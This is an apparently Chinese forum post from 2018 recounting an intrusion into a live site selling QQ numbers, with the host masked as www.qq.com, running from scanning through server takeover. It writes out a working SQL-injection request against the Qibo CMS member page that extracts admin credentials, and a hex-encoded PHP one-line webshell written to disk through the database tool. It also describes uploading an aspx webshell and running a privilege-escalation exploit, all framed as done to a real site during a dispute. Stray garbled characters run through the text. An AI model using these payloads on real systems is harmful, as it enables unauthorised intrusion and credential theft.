|
# J0 T% t4 C& W4 x
- {+ a6 p* q+ y- p# L3 ~
* e$ q$ V, a |3 ~" |6 I
) m0 g( \0 l1 t( A& [8 g 一、踩点寻找漏洞
7 W2 }- X! l1 o3 a' c. l' x
闲来无事，在各个QQ靓号群求买5位QQ，寻问半天无果就在百度搜索5位QQ扫号找到“目标”www.qq.com，打开一看就一静态页面，哇好多靓号啊，90000000,300000,98888888，199999999，哇这么多靓号，然后我去联系客服，要求客服登录账户看看，此处略去100字，然后开始撕逼，然后就有了下文。。。。
% E; [+ [# w; \" q* d/ y: C随手拿御剑扫了一下好多php页面，随手加一个member发现是齐博1.0的内容管理系统，然后就去百度找漏洞，什么后门漏洞一一做测试都无果，找来找去找到一个全版本的注入漏洞，详细利用方法如下：
5 Y) [+ ^) E; r# e$ |1 [
先注册一个用户，记住注册时候的邮箱以uid号，
# X# r; e0 m/ H- S1 R$ V
+ M/ q d6 E1 d+ V6 A% f
8 a9 W) D$ t9 y, l5 ]然后我们打开火狐浏览器简单构造一下，http://www.qq.com/member/userinfo.php?job=edit&step=2，发送数据包如下：
1 O& ]7 u% t1 n2 I/ R! p* X, z
1 G) f5 F& }2 o: k
truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select user()) where uid=3%23
2 h, Q; |7 W& U; M4 l& Z' a( e这里的email和uid一定要和注册的账号所吻合，然后访问，提示成功以后查看用户资料如图：
& ^- Q; L! H" L1 l8 p3 F
3 o+ H6 y& ]3 k8 t- }3 r. t确实存在注入漏洞，那么我们来注入一下管理账号密码，修改数据包如：truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select concat(username,0x2e,password) from qb_members limit 1) where uid=3%23
& N1 n# F+ A& d- L9 v
S# q, m4 |6 y$ }& m& a+ ^4 b1 a' J; A
& B8 e0 Q. A/ [3 k* b
解密进后台如图：
" ?/ p: E4 L: F0 v3 \1 K7 e
2 u L, C9 b6 E# |
3 F9 i- S9 M2 S
# ?- q; R: T1 C' |# F8 H) j二、后台getwebshell
$ A0 i6 T+ Q5 |5 }% w" z; @进了后台，以前齐博有个后台getwebshell漏洞，在系统功能- 单篇文章独立页面管理-增加页面添加个webshell，如图：
/ |+ z1 C* m& P
- a, C' T( ?6 Q0 M$ V( c/ T+ ^
" J' p. p( _" Z& j y* {1 x0 w& B
5 Z# @3 B0 ^( n9 ]然后点确定，添加提示
3 ^0 p3 `6 D/ S0 n7 b* D
& \4 J- h% X) C
/ ^- ?6 Z" g5 A3 ?& g0 I: c
$ H$ W5 q; @4 H. d# ~由于是ii6.0的所以我们可以考虑一下解析漏洞，我们再来如图：
4 z; n: g- D4 M( B; r# N
. a, K% S9 h# M$ F/ v0 ~0 i
4 n) |7 i) G9 T9 S: k3 A ^
改静态页面为help.php;.htm，然后我们发现访问help.php;.htm是404（写文章之前测试是可以成功写入的），欧巴，他么的我们再想想别的办法，抽了一支烟，我们继续，他这里不是有个服务器信息、数据库工具吗，之前我们测试当前用户名是root，那么我们完全可以考虑利用服务器信息、数据库工具来导入一句话，屌屌的妈妈的，我们来演示一下，先把一句话hex编码一下，<?php assert($_POST[sb]);?>编码以后是：0x3C3F7068702061737365727428245F504F53545B73625D293B3F3EDA网站目录是D:\wwwroot\qq.com\admin\，注意我们要把\改成/,否则不成功D:/wwwroot/qq.com/admin/,下面我们来导一下
* i$ ~. Z2 m4 o
如图：
2 O$ ]5 w( N8 x) q# ]
/ X) Z- B9 R, c4 f
% r! C7 ?. g& o& w8 U
0 |+ @6 p) y3 e) k% t: E( U
之前已经测试过了用普通菜刀无法连接，测试用过狗菜刀也无法连接，用xiese打开
% f) \: M$ V) |. z
+ B3 @0 w- }* q: p! E+ M
- s2 a/ [% z2 q9 N% S3 s! \
. s9 A: F! e1 s" ^! ]
三、提权进服务器
2 T0 Z( F. A8 q7 N. g* ^9 E
经测试xise下一句话只有在admin目录下有权限浏览，且不能执行命令，庆幸的是支持aspx，那么我们就上一个aspx大马，然后执行命令提示拒绝访问，哈哈在c:\windows\temp下上传cmd.exe然后执行systeminfo，发现打了400多补丁，如图：
' K" H/ F+ m7 R7 M0 l
) d/ `2 w7 m/ Y- M6 {* g7 m% m9 J* U
3 l7 E0 ^! |, K& y9 c' h
啧啧啧，这么多补丁，我都没去试试今年和2014年放出来的exp，而且是在咱们大00下载了一个变异pr，然后上传提权如图：
+ P# A6 `# ~" N' V V
7 e! c- T! g) U3 Q* {
" F" h# ^7 a8 i) T& v2 t然后登陆服务器如图：
* K/ T6 P! i% @, P4 n
: m' N" b" g8 ^) S- L) C
, E, L( j! S; Y. G ; L8 O" s7 H0 h8 O w) G
& [; m7 z; u/ k; E
# j( {* Z; V0 E( b( \% D
难怪普通刀连接不上，原来是有狗。
* R; X7 v; n) I4 F+ a6 h
+ @- u% H0 v# U) H: S- U
7 b; v. c6 a- g$ B
6 h2 y. }* [9 M1 D; T- P7 [
8 G% K; {+ z b; b7 f) [$ |. M
9 u7 a* L1 t. U/ {( J
! X+ s, B( }: j* h3 ^; G' A2 i
| 
发表于 2018-10-20 20:08:47
收藏
支持
反对